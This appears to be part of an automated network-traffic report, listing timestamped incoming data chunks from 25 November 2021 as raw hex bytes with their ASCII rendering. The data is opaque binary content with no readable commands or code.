e9 8e c3 8a a9 a9 7c 45 d4 75 09 08 8e e5 a3 85 14 22 a8 3b 46 00 e7 3e a4 d5 7b 29 19 ba d0 3d 5a f9 9f 55 f2 8f 9e 22 
21 b3 12 93 9e 0f 00 e0 7a fb d6 ce 9a b0 78 6e df cd b9 94 19 66 3f 28 07 96 38 eb 8e d5 e3 5e 1b f8 83 2d b7 99 75 34 
6b 2c a3 85 32 0c ed c7 a7 d2 b2 f5 ff 00 88 17 17 f7 32 4a f2 93 bb ee 92 7a 00 7b 55 2a 52 7a 09 d6 8a d4 f7 5b f7 96 e3 
24 b0 f3 24 c6 4c a3 21 47 d0 74 aa 9a c7 89 c6 8f 6b 6d 14 51 19 64 9c 94 e9 e9 c7 4f ad 78 94 5e 32 bf 91 9c c7 3c 9b 
a6 5d c4 ee 3e df a7 a5 49 61 e3 4d 46 1b 88 c9 9d b1 1a ec dc c4 13 83 dc 13 d0 fb d1 ec a4 b7 0f 6d 16 7b 45 c5 c5 e0 
bc b4 89 9e 18 82 43 e7 4a b2 0f 94 67 fc 2b 9f 9f c5 
Data Ascii: sYZ7l#9~#f(&S g1$|Eu";F>{)=ZU"!zxnf?(8^-u4k,22Jz{U*Rz[$$L!GtkmQdOx^2<]>IaMFm{ECJg+

2021-11-25 16:28:57 UTC 3811 IN Data Raw: 7d 52 1b 66 dc 5e 30 17 23 a9 07 8e f5 0a f8 b2 d6 69 32 5c 14 23 af 99 8c fe 9f 85 1e cd ee 85 ed 57 53 a0 98 
c6 f0 ee bb 45 2f d4 45 8c 9f fb eb 1d eb 16 5d 06 c7 51 77 f3 23 20 31 38 05 b2 07 b7 b6 2a d4 5a da c8 84 0d a7 76 79 
0c 1b f4 ab a8 e1 57 78 48 c1 e9 96 14 fd e8 89 f2 4b 73 18 78 12 da dd 70 92 ac 01 b9 e6 2c e7 df e9 59 fa 87 87 16 dd 
83 5a dd c7 16 3a 93 1b 72 3f 0f e5 5d 04 ba c2 22 ba 1b 88 d1 58 64 10 39 27 d3 bf 7a a7 26 a7 e7 23 e1 d6 70 98 1b 49 
c3 11 f4 f4 ff 00 3c 55 ae 6e a6 12 8c 1e c6 2b 69 51 46 4a 3c eb 23 1c 60 c7 9e fd fb 54 73 f8 73 ed 72 07 47 63 29 c9 e4 
e3 bf 18 cd 4b 79 24 93 29 65 8e 38 f9 c9 31 8e 47 d4 9c e7 da b3 5f 4d d4 6e 10 4b 69 2b 09 03 1c 29 ee 3a e7 3e f9 ab 
b4 bb 99 72 c5 e8 d1 35 b7 82 e2 69 b3 73 e6 99 87 
Data Ascii: }Rf^0#i2\#WSE/E]Qw# 18*ZvyWxHKsxp,YZ:r?]"Xd9'z&#pI<Un+iQFJ<#`TssrGc)Ky$)e81G_MnKi+):>r5is

2021-11-25 16:28:57 UTC 3819 IN Data Raw: ce b9 f5 3d eb e7 29 46 29 58 fb da d3 72 67 0c b7 af bc c7 d1 f0 06 7a 90 49 1c 63 d0 fa 54 30 dd cf 24 8e 06 
e2 46 4f 1d 39 f5 c8 e7 f1 e2 bd 2a 2f 84 93 34 88 b3 5c ac 71 67 92 b9 e3 fa f7 eb fa 57 47 a7 fc 2f d1 6d f2 f3 e2 7c 7f 0b 
1f d7 b7 7a e9 52 8a 5a 9c bc b2 96 c8 f1 69 d6 e2 eb 6a 11 84 e1 46 79 c1 fa 67 bd 6f e8 ff 00 0f ef b5 2e 62 83 64 7f 29 
2d 23 60 71 dc 0e fe d5 ec f0 69 7e 1b d2 54 44 52 d9 08 1d 0e dc f1 ea 71 cd 4c fa e6 87 0c 64 21 8c 1c 70 a3 fa 62 a7 
da 3f b3 10 e4 fe 69 23 ce 74 df 84 f7 62 68 cc f2 00 a3 a1 8f 24 f1 d3 83 9a f4 cd 0f 41 b4 b1 86 08 3c 88 de 48 c6 39 5e 
79 ea 7e 95 45 3c 4d 1a a1 cb 2c 11 8e ad 82 5b 03 b8 03 e9 59 f7 5e 36 b7 12 12 27 96 75 4e 54 6d 08 4f b1 3c d4 49 4e 
4a cc b8 ca 9d 3d 53 3b 6b 99 ed ed 63 d9 
Data Ascii: =)F)XrgzIcT0$FO9*/4\qgWG/m|zRZijFygo.bd)-#`qi~TDRqLd!pb?i#tbh$A<H9^y~E<M,[Y^6'uNTmO<INJ=S;kc

2021-11-25 16:28:57 UTC 3835 IN Data Raw: 89 80 03 3c 90 07 1c 1f 5a b5 66 46 a6 e3 29 54 cb 0c 06 24 93 1b 02 00 f6 3d 7d ea 68 35 29 99 50 22 79 4e 
0f 12 98 95 97 07 9c 93 81 fa 1a c5 5d 52 4b 64 31 43 7b 6c 5b 07 2d 90 80 0c e4 f3 cf 27 d0 0c d6 ba 58 5c dc a8 d9 73 
14 88 79 66 8e 52 17 dc 11 4e dd c9 7e 46 cd 95 ad c2 5a f9 d7 57 71 38 2c c6 32 0f de c1 c3 64 1f 7f 7a 9e df 56 5b 65 
90 18 ba 1d cc c2 3e 31 f5 2d e9 58 96 d6 a5 54 a0 96 3c 28 03 01 86 33 fe 7b d6 85 b2 62 6f de a5 ac ad c8 e4 ee 3c 8e 
bc f1 c7 ff 00 5a b3 f5 20 da b9 d5 e0 64 8e 52 e6 30 ab 96 2e c1 40 c6 72 7d 3a f1 8e f5 1d 9e b3 69 79 1a 38 7d e9 8c 86
31 e4 0f 4c 74 c5 64 3d dd 85 b0 11 dd c9 6f 2a 64 75 05 08 1c 1e 08 cf 1e 9e 95 15 ff 00 86 34 ed 42 d4 3e 91 7a 2d a6 
c1 66 48 88 3d 7d cf 4e 6a 6c 8b 57 2d 6a 9a 9d b4 ab 
Data Ascii: <ZfF)T$=}h5)P"yN]RKd1C{l[-'X\syfRN~FZWq8,2dzV[e>1-XT<(3{bo<Z dR0.@r}:iy8}1Ltd=o*du4B>z-fH=}NjlW-j

2021-11-25 16:28:57 UTC 3851 IN Data Raw: e3 1f fd 6a a8 ea 63 28 b4 74 16 cb e6 48 04 97 30 a7 73 fb b0 08 e3 b7 1c fe 15 5a 4b 84 46 da 2f 56 26 20 8c 
90 40 3c fe 7d 7d 78 ac 14 b8 9a 37 e5 e3 9f 3c 28 6c 70 3b fe 1e d5 69 f5 72 f8 df 6d 16 06 38 da 38 3e 9d 7d 29 f2 d8 cd 
cb b9 bb 6a b7 5b 8c 31 6a 11 16 45 24 ff 00 5e bf fe bf ce a5 36 fa 84 cd f2 4e d1 2a 60 ae 00 62 48 1c 9e 4f f2 e6 b1 ad 
75 6b 2f 9c 3d b0 f2 c6 70 0c a7 1c f1 fa 54 f6 f7 3a 5c 79 67 de 01 e3 05 88 ef ed d8 54 b4 ca 4e 25 d0 9a 9c 2c f9 59 27 
51 86 06 40 0e e3 dc f7 fd 6a 69 6e ae bf b3 4a cd 1c 51 af 42 cd c9 cf 6e 40 c1 f4 aa c6 f7 4c 85 b0 2f 24 8d 18 10 ca a1 
81 19 c9 eb db 8a c8 b5 d5 a6 b7 b9 96 da 0d 66 2b b8 9c 96 58 ae 9b 64 b9 cf 4e 46 0e 3a 53 57 29 6b d4 2e 6f b5 0d 86 
1b 39 2d 62 76 c2 a8 98 8e b9 f7 fe a6 a9 
Data Ascii: jc(tH0sZKF/V& @<}}x7<(lp;irm88>})j[1jE$^6N*`bHOuk/=pT:\ygTN%,Y'Q@jinJQBn@L/$f+XdNF:SW)k.o9-bv

2021-11-25 16:28:57 UTC 3859 IN Data Raw: ae 7e b8 02 8b 85 d1 94 b0 c7 22 10 63 6d c3 3c e3 27 1c 75 3d 3d 31 52 c4 85 39 8a 76 19 3c 0c 64 9f 50 3e 
82 ae 43 a7 bd c2 3c 52 e0 49 9c ac 7e 60 f9 8f a0 ce 06 3b 75 a6 cc b1 c4 ad e6 c7 71 69 2e 42 aa c8 bc 81 b7 a8 e3 1f 
80 34 ee 30 b7 12 3e 0e f0 59 07 43 f9 f1 9a 82 64 b3 91 f6 48 18 74 db 18 18 1d ce 7d 69 5d be 63 19 18 7d dc 2b 60 ee 
ec 30 33 df be 29 b7 72 18 d6 30 ae 08 fb b8 39 05 58 7a 9c 1e 07 6e b9 a6 26 55 3a 5a da c8 5d 48 31 16 e0 31 c1 55 ef 
83 e9 c7 3e b5 0d ab dd ef 74 12 07 4f bc b2 06 cf 1d 08 65 f4 ab 12 5d 13 1c 6a f1 ac a4 81 f4 e3 a1 c7 4c fa e3 f2 aa 6e 
a9 b8 63 74 0e fc 96 8c b7 04 76 ce 08 fa e2 80 e8 48 16 fa d7 79 12 45 73 6e c4 0c 63 18 cf 5c 81 c9 ef 83 d7 8a 64 d2 
c6 32 5e d2 30 31 96 20 91 91 8c 9c af 4e 3f c2 8b 99 
Data Ascii: ~"cm<'u==1R9v<dP>C<RI~`;uqi.B40>YCdHt}i]c}+`03)r09Xzn&U:Z]H11U>tOe]jLnctvHyEsnc\d2^01 N?

2021-11-25 16:28:57 UTC 3875 IN Data Raw: ab 6e d8 e7 df b7 f4 a6 69 f6 57 33 48 6d 9e c2 f9 d9 01 de df 67 6d d9 e3 e5 e9 92 68 e6 8f 46 57 2c ba a2 bc 
f0 4f bb 3e 60 eb 83 86 00 75 c7 4a ae f6 b7 0a c4 85 63 c9 ff 00 57 20 e9 8f 5e b5 d7 69 de 1c b6 d5 64 8c 48 65 83 24 
ae 0c 2d 90 3d 0f cb de ba d8 fe 07 c6 63 46 5b e0 37 61 80 91 58 e0 f5 e8 08 c7 1e b5 8c ab 42 1b b3 68 d0 a9 3f 85 1e 
63 0f 97 04 21 ee 67 31 2b 37 45 62 49 38 cf 03 e9 f9 52 be af 6d 70 fb 61 bd 64 00 f2 b2 2e 01 f4 c7 19 3e b9 ed 5e b5 6f 
f0 27 4d 77 43 35 df 98 e0 e0 ed 8c 01 83 c8 03 39 fd 6b ab d3 fe 0e f8 69 17 62 db 48 64 3c f9 92 30 38 3e dd ab 09 62 
e9 2d b5 37 8e 0e b1 e2 87 4c d4 44 2b 28 3b c1 fb ac a7 f2 f5 22 a9 c3 0d e5 ac d2 3c d6 f2 4a a0 74 5c 81 81 f8 7e 9d eb
e8 7b 0f 02 58 68 37 3e 5c 31 36 3f 85 f2 70 3d 
Data Ascii: niW3HmgmhFW,O>`uJcW ^idHe$-=cF[7aXBh?c!g1+7EbI8Rmpad.>^o'MwC59kibHd<08>b-7LD+(;"<Jt\~{Xh
7>\16?p=

2021-11-25 16:28:57 UTC 3891 IN Data Raw: 20 2e 49 38 cf 51 8e e7 9f ce 90 c8 00 de e6 44 97 7b 82 36 8c fc 9d 47 5e 33 43 5d 49 f2 6f 88 85 ed 8e 54 9e 
c4 7a 7a d4 ea 82 27 01 c1 4d e3 00 70 40 f5 fc bf c2 9d 0c aa e9 f3 0c 32 f3 b7 04 a9 07 9c fd 69 94 56 08 ad b8 af 96 46 
46 50 f5 07 df eb 4c 98 02 c3 1b 77 8f 51 db df 1d 7d 2a e4 b0 2c a9 20 11 81 d7 9c 60 e4 7a 55 31 17 96 b2 2f 5e 70 03 
64 7f 9f c6 90 c8 e7 6f 29 70 9c 13 82 4e 38 ce 7e 9d 3f 95 42 64 90 e0 a4 99 52 79 fe 13 c7 39 1d 8d 4d 25 9b ba 64 3b 
6e 5e 5c 70 40 23 f1 eb 54 9d 1d 70 08 f9 5b ee f3 e9 f9 8a 0a 45 83 75 b9 d0 ab 9c 81 92 a7 00 80 79 3b 46 3a 7a 9a 46 
b8 3b 41 c4 4e bc 9c 11 c9 fc ba 56 7c ad 2a 7c ec 7a 02 01 e4 95 3f 5f a0 20 55 79 26 fb 2a 82 84 85 3d 5c 73 9c 8e 47 
b0 cf f8 52 df 62 cd 4f b4 91 1b a9 71 c1 0c 08 39 
Data Ascii:  .I8QD{6G^3C]IoTzz'Mp@2iVFFPLwQ}*, `zU1/^pdo)pN8~?BdRy9M%d;n^\p@#Tp[Euy;F:zF;ANV|*|z?_ U
y&*=\sGRbOq9

Timestamp
kBytes
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2021-11-25 16:28:57 UTC 3938 IN Data Raw: 8f c3 bd 73 12 58 4b 6d 72 8f 71 65 2a 46 3a 95 6e a3 ae 01 ff 00 f5 f3 5a c6 cd 19 4a 2d 1a 91 cd 21 d8 43 a8 
62 32 b8 ed fe 7b d6 dc 13 dd 47 1a 3b 80 53 19 52 c4 75 1f 43 df b7 ad 66 e9 1a 7c 7a a4 c6 6f b1 98 d4 11 90 66 c8 c6 
3a 77 cf e7 5d 04 fa 65 bb 46 63 f2 64 45 61 f7 83 8c 7e bd c7 6e 4d 29 58 71 b9 ad a3 6a 01 18 12 b2 12 01 52 00 39 07 
b1 19 f4 ae 8a 3b c1 32 92 87 32 60 0c 11 83 9a e5 34 eb 44 b3 fb 8f 2a 29 21 42 9e 41 3d 8e de d5 bd 6f 74 23 4d b2 8f 
5c 30 e4 83 f9 9e 2b 9a 51 d4 ee 84 8d 4b 42 c1 80 92 40 88 39 c1 e0 fe 3f 87 f9 e6 ae 87 12 2a 79 72 82 72 78 38 e7 fc 
2b 9d 6b ed ce 11 41 24 75 dc 7d 30 46 3a f6 ad 08 98 98 c1 1c 30 39 0d e9 fe 7d 79 ac 1a 3a 23 2e 85 86 66 f3 88 3d f1 
d7 d4 54 d1 9d ab 81 9e f9 2b fd 7d aa b8 90 ba f0 c4 
Data Ascii: sXKmrqe*F:nZJ-!Cb2{G;SRuCf|zof:w]eFcdEa~nM)XqjR9;22`4D*)!BA=ot#M\0+QKB@9?*yrrx8+kA$u}0F:
09}y:#.f=T+}

2021-11-25 16:28:57 UTC 3970 IN Data Raw: 8c c6 3e 57 e8 17 19 eb df 3e 95 63 70 8e df 60 80 97 24 60 83 ce 73 d3 df 3e 95 c9 73 af 97 5b 17 ad 2f d2 29 
3c a5 45 c8 f9 47 ca 08 cf 1e d5 a7 1f 91 3a 96 44 c3 f5 2a 31 80 7e bd eb 96 db 37 98 ec 20 31 f3 ce 4e 0f b8 fc 3f 4a d4 
b4 ba 92 6c 33 22 ed 51 cf 96 42 1f ff 00 55 66 cd 62 69 25 a2 4d 96 d9 82 01 c1 23 bf ad 55 9a cc b7 c8 51 5d b1 c9 1c 
63 db f0 a8 0e ab 97 21 33 c1 23 39 e0 9f ae 7b 7d 2a cc 17 62 e3 0e f3 a8 0d 9d ac 01 61 9f 7f c3 bf 5a 45 68 ca 37 56 ff 
00 be 00 a2 f1 c8 da c7 ea 4d 47 02 bb 7c 80 fc 9c 8e 46 40 fc 4f eb 57 2e 2f 11 d9 c4 03 cc 45 c6 64 db b0 03 df 9e e2 a0 
89 a4 b7 f9 8a 72 70 48 6e 06 7a 8e 28 15 8b f1 db 95 f9 18 e7 03 93 81 df 8a 89 63 76 91 36 bb 65 8e 09 27 a7 e7 d8 7e 
b5 24 53 93 81 82 18 75 c6 3f c3 a1 ef 51 ce 
Data Ascii: >W>cp`$`s>s[/)<EG:D*1~7 1N?Jl3"QBUfbi%M#UQ]c!3#9{}*baZEh7VMG|F@OW./EdrpHnz(cv6e'~$Su?Q

2021-11-25 16:28:57 UTC 3994 IN Data Raw: 51 9f b9 9f a8 e8 7e b5 5d f4 20 17 77 d9 80 ea de 64 58 38 27 b0 3f a9 1d aa d5 b2 0f 2f 13 16 69 18 9c 00 40 
e3 be 54 81 fc aa 31 3c 70 3e 48 91 02 8c 10 54 91 9f 5e fd 29 2d 36 29 d8 aa 34 d7 87 83 c8 03 a8 39 c0 3d 38 fe 75 0b 
e9 f1 79 61 97 19 cf cb 26 39 fa 1c 56 84 d3 ee 90 b2 b8 25 b9 0a 3a 71 c6 33 c8 3d 3a 0a a6 ee 77 11 92 41 e0 ae 0a 9c 
7b 7b d3 bb 26 c8 cf 99 25 29 92 0b b7 e7 c0 38 fd 45 56 9a c9 dd 84 47 29 93 90 3a 80 4f ad 6a 2c 32 ca ff 00 27 2c 31 
d7 1d 38 c7 d3 d6 b5 74 71 04 d0 ba dc 0d a4 9e a0 fd ef c4 74 aa f6 8e 28 5e cd 48 e4 27 d3 04 6e 0f 4c 1f bc b9 23 db 
8e fe d4 af 65 0d d7 cb bd b7 e7 18 c1 18 3f e7 bd 76 67 4d fb 5a 19 62 00 72 76 aa 8c fc 9e fc e2 96 0b 68 cc 64 48 9f 3e 
39 53 c6 71 d0 fa 53 75 6c 52 a1 dc e2 26 f0 eb c6 
Data Ascii: Q~] wdX8'?/i@T1<p>HT^)-6)49=8uya&9V%:q3=:wA{{&%)8EVG):Oj,2',18tqt(^H'nL#e?vgMZbrvhdH>9SqSulR&

2021-11-25 16:28:57 UTC 4002 IN Data Raw: 00 fa e9 ab 30 1d 79 00 64 30 e7 3d 4f 3f e7 9a 78 6d ea 59 ba 11 9f 4f c4 51 a9 56 b9 69 6d db 6e 44 a0 29 ec 
41 3c fb 63 14 d9 e7 31 31 3e 59 20 74 94 0c f3 f4 1f e7 b5 55 fb 54 91 b1 29 27 20 1c 0e 39 ff 00 3c fd 2a cc 3a 92 cc c0 
4c 85 33 83 b8 74 e9 9c fb 66 81 e8 3d 3f 78 a7 8c 73 9c f1 82 3d 31 eb 55 e5 b3 59 98 32 96 42 dd 7f 5c f1 d2 af c1 6e f1 
72 3a 30 ce ee 7d 7b 54 ab 18 2c 48 20 12 39 18 07 a7 02 95 d8 ec 8c 61 62 d0 20 6c b3 aa 93 c9 e7 d8 f2 28 43 e5 39 ca 
6f eb 80 0f 38 3f 8d 6a b2 08 53 fd 5e 63 e3 32 2e 38 e3 83 8f 4a 8a 4b 78 e7 5d d1 10 fc 75 03 91 f5 e8 69 f3 05 97 42 aa 
bc 42 33 c3 26 4b 75 3d 8f be 2b 36 ed 23 91 36 97 27 fd ad be fe 83 b9 ef 5b 22 c5 91 0e 73 d0 e4 a9 ed dc 66 ab 35 8a 
16 32 00 46 7e a3 a8 cf eb f4 ad 14 89 71 b9 
Data Ascii: 0yd0=O?xmYOQVimnD)A<c11>Y tUT)' 9<*:L3tf=?xs=1UY2B\nr:0}{T,H 9ab l(C9o8?jS^c2.8JKx]uiBB3
&Ku=+6#6'["sf52F~q

2021-11-25 16:28:57 UTC 4018 IN Data Raw: 24 3f c3 9c 72 3d 8f 4c d3 84 31 aa 12 10 1e 98 c6 01 c9 f7 f4 3d a8 1f 29 81 14 13 46 e5 5f 1b 71 81 cf 38 3e 
83 de ae db dc 4b 0a 20 f3 37 80 30 07 5f d6 a7 39 76 70 f1 0c f3 8e df e4 d5 76 0b bc 8c 1d b8 e4 13 83 81 9e fe be f4 c5 
cb cb b1 6e 3b c4 99 4f 2a 92 74 0d e8 6a 95 c4 6c 23 2e 51 9e 21 d7 1f cf 8e a2 94 c9 1a e0 72 87 18 c1 e9 52 86 52 bf 
23 80 7f 11 9c 7b d0 57 29 cf 36 a0 92 dc 0d e4 f5 c9 38 c0 07 8f f1 a9 a4 55 96 37 29 ca e0 63 1e be bf e7 8a bf 7d a6 8b 
94 2c 80 24 a4 92 38 04 13 ff 00 ea fa d6 77 97 25 a3 6d 60 10 81 8e 17 d7 af 27 f9 56 bc c7 33 8b 19 e5 14 8c 81 f7 5b 
a6 47 eb ff 00 d6 ab 16 69 12 b6 1b 8e 3a a7 7c 7a fe 7d 29 b6 85 25 ce ee b8 eb db eb d8 e6 a4 21 93 0e 3a 30 e9 dc 71 
e9 f8 77 f4 a8 96 e5 a5 d4 68 b3 78 d4 a7 de c8 
Data Ascii: $?r=L1=)F_q8>K 70_9vpvn;O*tjl#.Q!rRR#{W)68U7)c},$8w%m`'V3[Gi:|z})%!:0qwhx

2021-11-25 16:28:57 UTC 4034 IN Data Raw: 58 44 6d 81 91 82 0f 03 1f 87 35 3a cf 2e cc 1c 14 07 03 d8 d3 1f 99 2d ad 98 99 1c 04 ce 09 e9 c7 1e e3 f9 d4 
e6 c1 23 60 49 0a 5b 3b 4f 3c 71 90 3a 7f f5 bd ea 3b 2b a8 d2 4d 8f 22 c6 b8 1c fb 9e d8 ff 00 3c 55 e9 63 8d 77 cb e6 29 
dd c0 e7 1f 8f d3 d2 90 d1 42 69 7e c4 ae 38 dc 73 ce 7f cf e1 55 e1 9d a6 ce f2 70 0e 30 46 30 31 cf 39 27 9c fd 2a d4 f1 
e5 48 3b 64 4c 82 07 4e 6a a3 28 b7 8d dc 90 46 72 d8 fa 63 fc fe 14 0b a9 33 08 e4 42 27 ce 1b 8c af 1c f6 3c 70 6a 28 
6d 94 4d e5 39 05 06 30 dc 64 67 af 1d 8d 54 6d 5e e1 b6 0c 0f 42 78 e0 7f 42 6a c5 94 ca 8a 72 70 cf c7 27 76 7f 1a 06 
5b 58 23 89 0a 92 73 d8 e7 39 ff 00 23 f1 aa f7 11 19 70 c3 76 cc f4 e0 73 fa d5 8d aa cc 54 0c e4 70 bd 7b 72 06 38 26 ac 
4d 6a 20 b7 7c fc ed 81 cf 6e 0f f5 fd 69 75 
Data Ascii: XDm5:.-#`I[;O<q:;+M"<Ucw)Bi~8sUp0F019'*H;dLNj(Frc3B'<pj(mM90dgTm^BxBjrp'v[X#s9#pvsTp{r8&Mj |niu

2021-11-25 16:28:57 UTC 4041 IN Data Raw: f6 2c dc dd 2c b7 80 c4 4e 55 c6 e5 dd 85 24 7b 9c e0 fb 57 49 a4 6a 10 ea 0a 62 91 cc 72 a9 e6 39 07 20 f6 
19 1d bf 9d 71 2f 10 45 c8 97 2b 82 41 03 19 ee 7f 01 53 cb 7b 21 58 4c 7f 24 f1 91 fb c2 39 1d 38 1e a3 9e f4 0d 4a c7 72 
b1 25 b5 c8 0f f2 46 a7 2d 8c 9d d8 f4 cf 6f 4f 4a 82 e9 ad e6 32 b4 59 8d f7 80 91 00 5b 09 8c 93 b8 f3 9c f6 fc 6b 13 4e 
d7 6e 0c 78 95 c0 23 aa 91 c1 fc ea f5 bd d5 bd c3 f2 02 e7 dc 81 f9 fd 69 58 d7 99 31 93 59 c9 0c 84 66 39 78 04 98 ce 
7a f3 8f a8 fe 75 24 4b f2 80 50 06 1c 63 bf eb 56 20 b6 5e 76 39 db 9e 08 ec 3e 87 eb 56 3c bc a9 ca 02 a0 e3 1d fd ba ff 
00 3e 94 c4 91 52 20 37 02 09 0d c6 37 7e 78 ad 08 36 ac 38 70 03 1f e2 52 7f 1f ca ab ac 05 5f 78 25 d7 3e 9d fd ff 00 95 
48 9b 17 86 f9 0f b1 1f 53 4a c3 24 09 18 43 
Data Ascii: ,,NU${WIjbr9 q/E+AS{!XL$98Jr%F-oOJ2Y[kNnx#iX1Yf9xzu$KPcV ^v9>V<>R 77~x68pR_x%>HSJ$C

2021-11-25 16:28:57 UTC 4057 IN Data Raw: af 4a a0 ba 23 2e 3a 0f e1 a8 dc 9d d8 23 00 63 af f9 ef 52 3f 0a 06 36 64 8c 7e 75 13 10 d8 2c 3e ef cc 7f cf 
d6 a4 96 4a a3 0a 33 c0 eb 92 3f a0 a4 5c aa 82 79 38 fa 91 ff 00 d7 aa c2 eb 6e 55 8f 38 18 7e e3 bf 4a 93 cd 2d 93 81 
d0 0c 03 d3 d7 f4 a7 62 6e 13 14 3b 06 41 cf 5f af d7 ad 3a 13 b1 f2 0f 04 f0 3a e3 eb 4d 8e 36 66 07 3c 1e 8b 9e 6a d4 70 
a2 af 03 83 f9 53 b0 c4 8c 15 e7 f8 4e 07 a7 f9 f7 a9 15 76 af cd ce de 33 f5 a0 2e 17 23 a6 7a 7d 29 47 ce c1 47 ad 31 8d 
61 96 00 8e 31 8e bc 54 40 80 e0 f3 d4 92 49 f4 a9 4c 78 ea 07 70 3d a9 8c 03 36 33 80 07 5e b9 a9 68 2e 50 bb 42 f9 54 
38 62 31 d3 b5 57 68 24 6f 2c 3a 65 40 fb ad d3 f3 15 a6 61 d8 a5 88 04 fd 7a 54 4a ab b0 03 82 c5 b8 19 ec 3d ba 54 58 
a3 1c d9 2e ed a7 21 58 10 c0 12 b9 1f 9f 1f ce 
Data Ascii: J#.:#cR?6d~u,>J3?\y8nU8~J-bn;A_::M6f<jpSNv3.#z})GG1a1T@ILxp=63^h.PBT8b1Wh$o,:e@azTJ=TX.!X

2021-11-25 16:28:57 UTC 4073 IN Data Raw: 1a 46 91 45 7b a9 25 28 ee 98 c2 f0 c3 39 07 23 18 a8 20 69 61 74 0c 40 2f c6 72 b8 20 0f 63 c5 2b 48 97 09 
01 7d c6 25 07 72 8e 1b 27 a0 fa 9c f7 fa 71 59 24 b5 b5 c1 3f bc 1b 41 da 30 32 7a 64 31 f5 c7 5f ca 99 4f 53 7a 21 0c b6 
d2 1f 98 00 06 14 e0 f3 d7 07 b8 cf 6c 71 53 c6 bf e8 d1 08 c7 ca 72 76 96 04 05 ce 0e 31 c8 c9 cf 1f 8d 63 e9 f7 8f 23 3c 
4e 46 dc 7f 17 40 3f 1f 7e b5 a5 6e 82 19 10 bf 0c 01 2e 41 ca 90 7a 11 8e 3e bc 53 33 bd 99 a4 88 a2 48 d5 83 06 da 3e 
65 eb c1 3e a0 63 d7 1e f5 bb 63 6e 44 79 c9 1d f7 48 71 ce 3a 02 2b 16 c2 58 fe d5 99 63 32 8c ed c4 9c 61 87 60 6b 69 
26 73 bc 6f 50 dc 03 b0 f1 83 db d7 f9 52 eb 71 f3 5c 9a e2 e0 2c 60 24 9b 06 72 1b 1c ee c7 00 81 c9 ce 2a 38 66 c3 18 
a5 c8 72 c4 9d cc 33 9f a7 4f 6c d5 06 69 c5 c4 e6 
Data Ascii: FE{%(9# iat@/r c+H}%r'qY$?A02zd1_OSz!lqSrv1c#<NF@?~n.Az>S3H>e>ccnDyHq:+Xc2a`ki&soPRq\,`$
r*8fr3Oli

2021-11-25 16:28:57 UTC 4081 IN Data Raw: 81 ed e5 27 2a 39 03 07 9e 87 b7 4c 55 7b 8b 75 6b 66 98 35 bf d9 e4 99 93 05 b1 c8 0a 47 cb 92 46 01 e0 f4 
3c f3 c5 75 cb 63 f6 d5 bc 58 7c a2 4b 06 11 63 2e c4 fd d5 5e 33 ce 71 81 5c e4 da 4a 95 79 03 84 73 9d 83 1d 08 39 c9 
07 b7 27 f1 a6 8d 13 28 49 7c c9 98 dc 7e fb 0d db 89 49 ed f5 07 db f2 ab f6 72 c9 03 09 7f d5 14 e0 1c e4 06 f6 20 f4 23 
f3 ac 5b 88 4c 1b d2 68 c0 65 c9 52 33 b5 46 73 9f 6c 9e f4 1d 4a 47 7f b3 4e eb c4 64 21 e1 41 c6 31 d3 d7 d6 8b 8c ee 
6d 75 25 ba 87 ca 9a 31 bd 48 0b 24 59 07 03 92 41 ec 45 6c 35 ea 94 88 07 8f 61 5f 90 02 09 19 39 c7 1c 9f 7f 43 9e 6b 
8e b0 b9 65 9a 35 79 37 ee c1 5c 90 51 71 d4 93 8c e0 76 f6 cd 6b c6 f2 fd 9e ed d2 5b 78 a5 6d ae 1a 40 17 7b fc db b6 
9f ee e3 9f 7a ab 99 1d 0c eb 26 f0 f2 16 0c 30 ed 18 
Data Ascii: '*9LU{ukf5GF<ucX|Kc.^3q\Jys9'(I|~Ir #[LheR3FslJGNd!A1mu%1H$YAEl5a_9Cke5y7\Qqvk[xm@{z&0

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:57 UTC 4097 IN Data Raw: 0a 0d dc f5 04 1e 47 a8 23 db f2 a8 20 66 33 14 23 63 28 24 a9 8c 60 67 a6 47 e7 d7 34 21 9b 4d 75 f6 e9 36 
b4 e2 28 b9 20 12 3a 63 af af 5e ff 00 85 3b ce 58 df e4 42 80 ae 42 a9 c3 0c 8c 64 f5 ef c6 2a 84 b0 2b 62 71 26 43 20 e7 
1f 78 7b 7a 80 78 e2 96 09 ff 00 73 83 10 45 91 c2 49 36 40 20 03 83 b4 9f d6 ad 91 63 51 ee 0d aa c6 92 95 08 c0 30 da 
a0 92 bf e2 2a 0b a0 b1 b8 52 70 cd 91 f3 75 03 a8 04 63 39 3f e4 d6 44 c5 66 52 43 b6 76 63 92 48 61 93 8c 7f f5 a9 b2 
dd f9 cb 1a 26 f7 2a 4f cd d0 f5 c1 19 34 92 ee 2b 12 8b 85 bc 79 66 67 20 01 c8 07 a9 03 8c 7a fa f3 44 77 26 e2 19 78 67 
60 81 cf 70 dc 8e dd 38 ef de aa 2c 7e 62 15 12 10 87 a8 cf e5 c7 7c 7e 74 d2 c1 15 10 90 ec bf 29 c8 c1 2c 14 0e d4 d0 
8b 4b 39 57 32 87 de 14 9c 28 38 c0 ff 00 3d 85 69 
Data Ascii: G# f3#c($`gG4!Mu6( :c^;XBBd*+bq&C x{zxsEI6@ cQ0*Rpuc9?DfRCvcHa&*O4+yfg zDw&xg`p8,~b|~t),
K9W2(8=i

2021-11-25 16:28:57 UTC 4113 IN Data Raw: 00 3c 8f ce bc 9e e7 44 8b 4f 92 73 3d c3 44 04 2d 24 25 63 df 99 31 f2 c6 c7 23 00 8e 0b 73 8e b8 ae 88 ce fa 
33 09 c3 5b a2 2b a0 93 a6 63 38 0a 37 30 fe 80 1e 4f d7 d2 b3 ae 2e 1a 35 2e 80 ba ed 1b b6 0e 83 fb c3 1d f9 f4 a9 c2 
35 f4 86 38 60 0b 21 1f 2c 6b ce e0 17 92 bc fb 73 55 26 91 7c 92 ca 73 90 09 c7 6c 9c 77 f6 ad 93 b1 84 90 e8 57 ed 56 
e9 20 7c f0 18 6e e0 0e 80 fe 66 b4 2c 3c a6 59 54 c7 f2 30 db 19 cf dd 23 9c 6e 1c 71 e8 7b 55 48 70 50 81 9c a6 ef 97 
a6 41 1f a5 5b d3 c3 46 b8 60 87 78 ce d1 c8 0b d3 f0 3e bf d2 aa f7 32 68 d6 b6 bc 78 7e 53 39 81 86 03 29 1f 23 e0 63 
9e 9f d7 03 d2 b5 20 59 2d d1 c1 23 78 ce 63 dc 70 58 71 c7 bf 7c 57 2f 75 35 a3 4f 10 31 b6 0e 01 01 99 7e a3 be 3d 6a 
